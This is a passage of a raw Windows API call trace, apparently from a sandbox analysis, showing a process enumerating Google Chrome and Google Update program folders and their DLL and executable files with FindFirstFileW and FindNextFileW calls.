ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0267.523] GetProcessHeap () returned 0xc10000 [0267.523] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0267.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0267.524] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.524] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 1 [0267.524] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4cfb9d0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="20170907132439.pma", cAlternateFileName="201709~1.PMA")) returned 0 [0267.524] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0267.524] GetProcessHeap () returned 0xc10000 [0267.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0267.524] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0267.524] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0267.524] GetProcessHeap () returned 0xc10000 [0267.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0267.525] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0267.525] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0267.525] GetProcessHeap () returned 0xc10000 [0267.525] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.526] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0267.526] GetProcessHeap () returned 0xc10000 [0267.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="咊8Â跐Ë~")) returned 0xffffffff [0267.526] GetProcessHeap () returned 0xc10000 [0267.526] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.526] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1 [0267.526] GetProcessHeap () returned 0xc10000 [0267.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0267.570] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.570] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.3.33.5", cAlternateFileName="1333~1.5")) returned 1 [0267.570] GetProcessHeap () returned 0xc10000 [0267.570] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0267.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0267.575] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.581] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler.exe", cAlternateFileName="GOOGLE~3.EXE")) returned 1 [0267.581] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x59850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleCrashHandler64.exe", cAlternateFileName="GOOGLE~4.EXE")) returned 1 [0267.581] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0267.581] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateBroker.exe", cAlternateFileName="GO664E~1.EXE")) returned 1 [0267.582] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateComRegisterShell64.exe", cAlternateFileName="GOBD5D~1.EXE")) returned 1 [0267.582] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x92c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateCore.exe", cAlternateFileName="GOOGLE~2.EXE")) returned 1 [0267.582] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateHelper.msi", cAlternateFileName="GOOGLE~1.MSI")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateOnDemand.exe", cAlternateFileName="GOF5E2~1.EXE")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOFB2B~1.EXE")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateWebPlugin.exe", cAlternateFileName="GOF8A8~1.EXE")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1abe50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdate.dll", cAlternateFileName="")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_am.dll", cAlternateFileName="GOOPDA~1.DLL")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ar.dll", cAlternateFileName="GOOPDA~2.DLL")) returned 1 [0267.583] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bg.dll", cAlternateFileName="GOOPDA~3.DLL")) returned 1 [0267.584] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_bn.dll", cAlternateFileName="GOOPDA~4.DLL")) returned 1 [0267.584] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ca.dll", cAlternateFileName="GO29C7~1.DLL")) returned 1 [0267.584] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_cs.dll", cAlternateFileName="GO58E6~1.DLL")) returned 1 [0267.584] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_da.dll", cAlternateFileName="GODC3A~1.DLL")) returned 1 [0267.584] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_de.dll", cAlternateFileName="GOAC0F~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_el.dll", cAlternateFileName="GO5382~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en-GB.dll", cAlternateFileName="GO5AC6~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_en.dll", cAlternateFileName="GOB81A~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es-419.dll", cAlternateFileName="GOB840~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_es.dll", cAlternateFileName="GOE1FA~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_et.dll", cAlternateFileName="GO372F~1.DLL")) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fa.dll", cAlternateFileName="GO664E~1.DLL")) returned 1 [0267.586] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fi.dll", cAlternateFileName="GOBE63~1.DLL")) returned 1 [0267.586] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, 